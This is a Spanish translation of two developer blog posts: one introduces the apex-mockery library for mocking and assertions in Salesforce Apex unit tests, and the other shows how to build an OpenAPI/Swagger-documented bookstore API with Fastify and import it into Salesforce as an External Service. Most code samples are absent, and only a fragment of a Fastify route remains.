Como parte del trabajo de ingeniería de Salesforce, estábamos desarrollando un paquete administrado internamente y necesitábamos una biblioteca para escribir pruebas unitarias. Queríamos escribir pasos simples de "arreglar" (como en el patrón Arrange-Act-Assert ), escribir afirmaciones comprensibles y burlarnos de nuestras dependencias. Buscamos en todo el ecosistema una biblioteca fácil de leer y bien probada que pudiéramos usar para crear nuestro producto, pero no encontramos una combinación perfecta, por lo que decidimos escribir la nuestra. Estábamos tan contentos con la implementación final de la biblioteca que decidimos lanzarla como código abierto con el nombre apex-mockery .

La biblioteca apex-mockery proporciona una biblioteca de simulación simple, liviana y fácil de leer para Apex creada con la API Stub. La biblioteca está diseñada para que sea fácil de usar y brinde la mejor experiencia de desarrollador posible al generar simulacros y apéndices, configurar espías y escribir aserciones.

Lo guiaremos a través de un escenario de muestra para que pueda comprender el poder de la biblioteca con algunos ejemplos prácticos. Luego, le mostraremos cómo puede escribir pruebas para este proyecto de muestra en tres pasos:

  1. Crear simulacros y espías de métodos.
  2. Métodos de espionaje de trozo
  3. escribir afirmaciones

Ejemplo de escenario: pedidos de panadería y entrega

Considere el siguiente escenario de ejemplo: una panadería toma pedidos de pastelería y planifica las entregas utilizando un servicio dedicado. Los únicos datos que estamos considerando en el contexto de este escenario son los nombres de los pasteles y su fecha de entrega.

A continuación se muestra la implementación básica de nuestro escenario de panadería (el código completo está disponible en el repositorio del proyecto ).

Pastelería.cls

DeliveryService.cls

DeliveryServiceImpl.cls

Confirmación de pedido.cls

Panadería.cls

Ahora que hemos echado un vistazo a nuestro proyecto de muestra, echemos un vistazo a cómo podríamos escribir pruebas para el método Bakery.order .

Paso 1: crea simulacros y espías de métodos

Para funcionar, la clase Bakery necesita que se pase una instancia DeliveryService en su constructor. En un contexto de producción, el servicio se proporciona con una instancia concreta DeliveryServiceImpl de la siguiente manera:

Sin embargo, en el contexto de las pruebas unitarias, no debe usar una instancia de servicio real para garantizar el desacoplamiento. En otras palabras, DelivertServiceImpl se probará unitariamente por sí solo, por lo que no es necesario que pruebe las dos clases integradas juntas. Puede reemplazar la dependencia del servicio con un simulacro que implemente la interfaz DeliverService .

Así es como puede crear e inyectar fácilmente un simulacro de este tipo, gracias a apex-mockery:

Luego, su prueba necesita un espía, para que pueda controlar el comportamiento del método planDelivery y ejecutar aserciones en sus llamadas.

Ahora que tiene un servicio simulado y un espía en su método planDelivery , veamos cómo puede configurar su espía y ejecutar aserciones en él.

Paso 2: métodos de espionaje de trozo

Una vez que tenga una instancia simulada, puede controlar cómo se comportan sus métodos controlando sus valores de retorno y lanzando excepciones.

Utilice los métodos returns y throwsException para especificar un comportamiento predeterminado que se aplica a todas las llamadas a los métodos auxiliares. Luego, si es necesario, usa una combinación de whenCalledWith(<args>).thenReturn y whenCalledWith(<args>).thenThrow para aplicar comportamientos específicos a las llamadas a métodos que coincidan con los argumentos especificados.

Durante la ejecución de la prueba, apex-mockery comienza buscando una coincidencia en la configuración proporcionada por whenCalledWith . Si no se encuentra ninguno, vuelve a la configuración predeterminada ( returns o throwException ).

Veamos algunas situaciones comunes de configuración de stubs (ver más recetas ).

  • Devolver algo cada vez que se llame planDelivery
  • Lanza una excepción cada vez que se llama planDelivery
  • Devuelve algo cuando se llama con un argumento específico
  • Lanza una excepción cuando se llama con un argumento específico

Ahora que sabe cómo impulsar el comportamiento de su simulacro, puede agregar aserciones para probar su código.

Paso 3: Escribe afirmaciones

apex-mockery proporciona una API de afirmaciones fluidas. Tan pronto como comience su expectativa con Expect.that(mySpy) , tendrá acceso a varios métodos de afirmación. La biblioteca viene con una serie de afirmaciones de comportamiento fáciles de usar, como:

Si los comparadores de argumentos básicos no son suficientes para sus necesidades, también puede crear sus propios comparadores de argumentos personalizados .

Uniendo el ejemplo completo

Ahora que vimos los pasos individuales, terminemos y echemos un vistazo a nuestra prueba para el método Bakery.order . Observe cómo puede usar aserciones de burla de Apex, junto con las aserciones estándar de Apex de la clase system.Assert , en sus pruebas.

palabras de cierre

Esto concluye nuestro recorrido por las pruebas unitarias y la biblioteca de Apex-Mockery. Aprendió cómo las pruebas unitarias desacopladas son más fáciles de escribir y ejecutar mucho más rápido. Tener pruebas rápidas acorta el ciclo de retroalimentación del ciclo de vida del desarrollo, reduce la duración de la ejecución del flujo de trabajo de CI y acelera las implementaciones. Estos factores permiten a los desarrolladores implementar y ejecutar pruebas con frecuencia, mejorando así la calidad.

apex-mockery lo ayuda a dirigir su proyecto en esta dirección. Consulte el repositorio del proyecto para comenzar. Encontrará la documentación de la biblioteca con las opciones de instrucciones de instalación (instalación de fuente o paquete desbloqueado), algunas recetas de muestra y una guía de migración. ¡Feliz prueba unitaria!

Sobre los autores

Ludovic Meurillon es ingeniero de software en el equipo de Service Cloud en Grenoble, Francia. Empujó el código a la producción durante años, disfruta eliminando más líneas de código de las que agrega y prefiere la programación en pares sobre las revisiones de código y los productos de trabajo sobre el diseño perfecto. Sígalo en Twitter @LudoMeurillon o consulte sus proyectos de GitHub @ludomeurillon .

Sébastien Colladon es CTA e ingeniero de software en el equipo de Service Cloud en París, Francia. Le encanta contribuir a hacer del ecosistema de Salesforce un lugar mejor y disfruta aprender y trabajar con otros. Consulte sus proyectos de GitHub @ scolladon .

Philippe Ozil es un defensor principal de desarrolladores en Salesforce, donde se enfoca en la plataforma de Salesforce. Escribe contenido técnico y habla con frecuencia en conferencias. Es un desarrollador full-stack y disfruta trabajar en proyectos DevOps, robótica y VR. Sígalo en Twitter @PhilippeOzil o consulte sus proyectos de GitHub @pozil .

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Diseñe una API Swagger con código para traer datos a Salesforce ☁️

Diseñe una API Swagger con código para traer datos a Salesforce ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

…

Diseñe una API de Swagger con código para llevar datos a Salesforce | Blog de desarrolladores de Salesforce

La integración de una API externa con su organización de Salesforce puede ser una tarea sencilla que no requiere código si utilizaCredenciales con nombre y Servicios externos . Deberá crear una credencial con nombre que apunte a la API y configurar un servicio externo en la interfaz de usuario de configuración. La clave aquí es proporcionar una especificación OpenAPI para la API. Si la API no tiene una, puede diseñarla usted mismo manualmente usando YAML o JSON, usar MuleSoft Anypoint Platform o aprovechar las herramientas y el código de código abierto.

En esta publicación, le presentaremos la especificación OpenAPI y Swagger, discutiremos los elementos principales de la especificación y lo guiaremos a través del diseño e implementación de una API con código. Usaremos Node.js y Swagger dentro del marco Fastify para esta tarea. Finalmente, integraremos esta API con Salesforce.

OpenAPI y Swagger

OpenAPI es una especificación para diseñar y construir API. Proporciona una forma estandarizada de definir su API para otros, brindando una forma estructurada que incluye puntos finales, tipos de solicitud/respuesta, definiciones de esquema, métodos de autenticación y más. Las especificaciones de OpenAPI están escritas en formatos YAML o JSON, ambos fáciles de leer y escribir. Esta especificación es ampliamente adoptada y respaldada por una variedad de herramientas, lo que la convierte en una opción popular para diseñar y documentar API. De hecho, si desea importar una API a Salesforce utilizando servicios externos, deberá especificarse con OpenAPI. Además, Salesforce es miembro de la Iniciativa OpenAPI .

Nota: A la fecha de esta publicación, la versión actual de la especificación OpenAPI es 3.1.0.

Swagger , por otro lado, es un conjunto de herramientas ( la mayoría de código abierto ) para implementar la especificación OpenAPI. Incluye la interfaz de usuario de Swagger, que proporciona una interfaz gráfica para comprender y probar las API, y Swagger Codegen, que genera código SDK de cliente y apéndices de servidor a partir de una especificación OpenAPI.

La especificación OpenAPI v2 también se conoce como Swagger, pero su nombre cambió cuando se convirtió en parte de la iniciativa OpenAPI en 2016.

Estructura básica de la especificación OpenAPI

La especificación OpenAPI está organizada en las siguientes secciones clave:

API abierta Define el documento raíz y combina la lista de recursos y la declaración de la API. Requerido
Información Proporciona metadatos sobre la API, como el título, la descripción, los términos del servicio, la información de contacto, etc. Obligatorio
Servidores Especifica una o más URL base para su API, como producción o preparación.
Seguridad Define un esquema de seguridad que pueden utilizar las operaciones de la API.
Caminos Describe las rutas y operaciones disponibles para la API. Cada ruta tiene un método HTTP con los detalles de la operación.
Etiquetas Agrega metadatos a una sola etiqueta que utiliza el objeto de operación.
Documentos externos Proporciona una descripción y una URL para la documentación externa.
Componentes Define un conjunto de objetos reutilizables para diferentes aspectos de la API. Esto puede incluir esquemas, respuestas, parámetros, ejemplos, cuerpos de solicitud, encabezados, esquemas de seguridad, etc.

Para obtener una explicación más detallada de cada sección y sus correspondientes definiciones de objeto, consulte la documentación oficial de la especificación OpenAPI .

Para fines de demostración, crearemos una API para administrar una librería. Esta API contará con dos métodos HTTP: uno para enumerar los libros disponibles y otro para agregar nuevos libros. A continuación, encontrará una definición básica de esta API, centrándose en el método para listar libros ( GET /books ) y sus objetos de respuesta.

Tenga en cuenta que estamos usando tres secciones principales aquí: Información , Rutas y Componentes . Como se mencionó anteriormente, describiremos esta API a medida que la implementemos mediante código. Para este propósito, utilizaremos Fastify y Fastify Swagger.

Fastify y Fastify Swagger

Fastify es un marco web altamente eficiente y flexible para Node.js. Está diseñado para facilitar su uso y ofrecer la máxima velocidad sin comprometer la personalización. Fastify proporciona una base sólida para las aplicaciones web y las API, con funciones como la validación de solicitudes y respuestas basadas en esquemas, ganchos, complementos y registro automático. Una de sus principales ventajas radica en su ecosistema, que incluye numerosos complementos centrales y mantenidos por la comunidad.

Uno de estos complementos es fastify-swagger . Este complemento nos permite ofrecer definiciones de Swagger (OpenAPI v2) u OpenAPI v3, que se generan automáticamente a partir de sus esquemas de ruta o de una definición existente de Swagger/OpenAPI. Además, utilizará fastify-swagger-ui , un complemento que sirve una instancia de Swagger UI dentro de su aplicación.

Nota: La siguiente demostración requiere la instalación de Node.js LTS y, a la fecha de esta publicación de blog, la última versión es v18.16.0.

Comencemos a crear la API de su librería instalando Fastify CLI y generando un nuevo proyecto ejecutando:

Luego, vayamos a la carpeta del proyecto e instalemos las dependencias fastify-swagger y fastify-swagger-ui .

Nota: En esta demostración, se centrará en tres aspectos principales: agregar compatibilidad con Swagger a Fastify, definir rutas de API y delinear esquemas y tipos de respuesta. No explicaremos cómo integrar la API con una base de datos. Si está interesado en explorar la fuente completa del proyecto, está disponible en el repositorio de ejemplos de codeLive.

Agreguemos compatibilidad con Swagger a Fastify editando el archivo app.js , luego importemos Swagger y SwaggerUI y registrémoslos como complementos.

aplicación.js

En la configuración del complemento de Swagger, tiene la opción de pasar toda la definición de especificación de OpenAPI, o puede aprovechar el enfoque dinámico que ofrece el complemento. Para esta demostración, utilizará el enfoque dinámico. Dado que el único campo obligatorio es info , definirá los metadatos de su API allí, además, la sección refResolver se encarga de nombrar las referencias de definición de esquema.

Y para SwaggerUI, solo especifica la ruta donde se alojará el sitio de documentación.

Ahora vamos a crear una carpeta schemas . Aquí es donde definirá los esquemas de su API. Para esta demostración, definirá un esquema book y un esquema error .

esquemas/index.js

Los esquemas representan la estructura de los objetos con los que trabajará, tanto para los cuerpos de solicitud como para los de respuesta. Para la especificación OpenAPI, el complemento Swagger agregará automáticamente estos objetos en el campo components .

Finalmente, definamos las rutas API para GET /books y POST /books usando Fastify. Primero, deberá registrar los esquemas dentro de Fastify. Luego, especificará los objetos de respuesta y solicitud para cada ruta que haga referencia a esos esquemas.

rutas/root.js

{ // … look at the code repository for a complete implementation } ) // POST /books fastify.post( ‘/books’, { schema: { description: "Create a book", body: { $ref: ‘book#’, required: [‘author’, ‘title’] }, response: { 201: { description: ‘Returns the book that has been created’, $ref: ‘book#’ }, 500: { description: ‘Returns an error’, $ref: ‘error#’ } } } }, async (request, reply) => { const { title, author } = request.body const id = randomUUID() const client = await fastify.pg.connect() try { const { rows: books } = await client.query( ‘INSERT INTO books(id, title, author) VALUES($1, $2, $3) RETURNING *’, [id, title, author] ) const [newBook] = books reply.code(201).send(newBook) } catch (error) { reply .status(500) .send({ code: 500, message: `An error ocurred: ${error.message}` }) } finally { client.release() } } ) // GET / fastify.get(‘/’, { schema: { hide: true } }, async function (request, reply) { reply.status(301).redirect(‘/api-docs’) })
} «>

Analicemos la ruta POST /books :

  • La función fastify.post define el método HTTP.
  • El primer argumento especifica la ruta: /books.
  • El segundo argumento especifica el schema , que incluye el body : el objeto de carga útil que espera la API. (Tenga en cuenta que es una referencia al esquema del book ). También incluye varios objetos response para esa ruta, que se asignan a los códigos de estado HTTP correspondientes 201 y 500 .
  • El tercer argumento es la implementación de la ruta. En este caso, está insertando el objeto en la base de datos y devolviendo el nuevo objeto. Si este proceso falla, devolverá un objeto de error. Es importante tener en cuenta que está utilizando los mismos esquemas que definió anteriormente.

Nota: También tiene la opción de excluir ciertas rutas de la documentación pasando hide: true en el objeto de esquema de esa ruta específica, como se demuestra en GET / route.

Su API está lista, así que ejecútela localmente para echar un vistazo a la interfaz de SwaggerUI ejecutando:

Y navegue a http://localhost:3000/api-docs para ver las diferentes rutas, su documentación y tener una forma de probarlas directamente desde la interfaz.

Si desea probarlo e implementarlo en Heroku, asegúrese de actualizar el script start en el archivo package.json con lo siguiente.

Además, asegúrese de tener acceso a una base de datos Heroku PostgreSQL y cree el esquema de la base de datos ejecutando:

<dx-code-block title language code-block="heroku pg:psql

Nota: El archivo database.sql está disponible en el repositorio de ejemplos de codeLive.

Luego puede implementarlo ejecutando:

Si desea ver cómo se ve implementado, vea mi versión que se ejecuta en Heroku .

Integración de una API externa con Salesforce

Ahora que tiene una API de acceso público, integrémosla con Salesforce como un servicio externo.

Primero, deberá crear una credencial con nombre para esta API. En la interfaz de usuario de configuración, vaya a Seguridad > Credenciales con nombre y cree una credencial externa con un protocolo de autenticación personalizado y una entidad de seguridad.

Asegúrese de que la credencial externa tenga una entidad principal a la que le haya asignado permisos en Acceso principal de credenciales externas en su conjunto de permisos.

Luego, cree una credencial con nombre que haga referencia a la credencial externa con la URL que apunta a la API pública.

A continuación, vaya a Integraciones > Servicios externos y agregue un nuevo servicio externo desde una especificación de API, seleccione la credencial con nombre y configure la ruta relativa a la ruta de especificación de OpenAPI. En su demostración, será /api-docs/json .

Después de eso, guarde sus cambios y seleccione las operaciones que desea importar a Salesforce, revise las operaciones y finalice.

Como puede ver, las operaciones que ha seleccionado se han importado correctamente, especificando tanto los parámetros de entrada como los de salida.

Ahora podrá invocar este servicio externo desde Flow, Apex, Einstein Bots y OmniStudio.

Conclusión

OpenAPI y los servicios externos de Salesforce brindan una poderosa combinación para integrar API externas en su organización de Salesforce. Al aprovechar el enfoque estandarizado de OpenAPI para definir las API y la capacidad de Salesforce para consumir fácilmente estas definiciones e invocarlas desde soluciones de código bajo y pro-código, los desarrolladores como usted pueden optimizar el proceso de conexión a servicios externos y mejorar las capacidades de sus aplicaciones de Salesforce.

Si está interesado en obtener más información sobre los servicios externos , puede encontrar una lista de recursos de aprendizaje a continuación, incluidos videos que muestran cómo invocarlos desde Flow y Apex.

Recursos de aprendizaje

Sobre el Autor

Julián Duque es un defensor principal de desarrolladores en Salesforce, donde se enfoca en Node.js, JavaScript y desarrollo backend. Le apasiona la educación y el intercambio de conocimientos y ha estado involucrado en la organización de comunidades tecnológicas y de desarrolladores desde 2001.

Sígalo en Twitter @julian_duque, @julianduque.co en Bluesky social o LinkedIn.

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